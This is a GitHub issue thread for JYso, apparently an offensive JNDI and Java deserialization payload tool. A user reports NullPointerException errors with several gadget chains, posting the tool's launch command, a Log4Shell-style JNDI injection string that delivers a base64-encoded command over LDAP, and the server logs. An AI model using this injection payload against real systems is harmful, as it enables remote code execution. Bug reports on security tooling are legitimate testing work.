search

qi4L / JYso

JNDIExploit or a ysoserial.
GNU General Public License v3.0
1.56k stars 188 forks source link

存在大量报错 NPE #10

Closed ViCrack closed 1 year ago

ViCrack commented 1 year ago

启动命令行：java -jar JYso-3.1.jar --jndi -i xxxx

测试代码：${jndi:ldap://1.1.1.1:1389/Deserialization/Spring1/command/Base64/{{base64(ping -c 3 1.1.1.1)}}}

报错信息：

[+] Received LDAP Query >> Deserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE=
[+] GaddgetType >> Spring1
[+] command：ping -c 3 1.1.1.1
[+]Send LDAP result forDeserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
java.lang.NullPointerException
        at com.qi4l.jndi.gadgets.Spring1.getObject(Spring1.java:54)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

[+] Received LDAP Query >> Deserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE=
[+] GaddgetType >> Spring1
[+] command：ping -c 3 1.1.1.1
[+]Send LDAP result forDeserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
java.lang.NullPointerException
        at com.qi4l.jndi.gadgets.Spring1.getObject(Spring1.java:54)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

图片

不仅仅是Spring1，像是ROME2，Jdk7u21variant、JRE8u20_2、JBossInterceptors1等等都会出现

图片

另外MozillaRhino2等gadget会报错 java.lang.NoSuchMethodException

图片

这些gadget估计都得测一下了

qi4L commented 1 year ago

感谢反馈，都修复了。

qi4L commented 1 year ago

image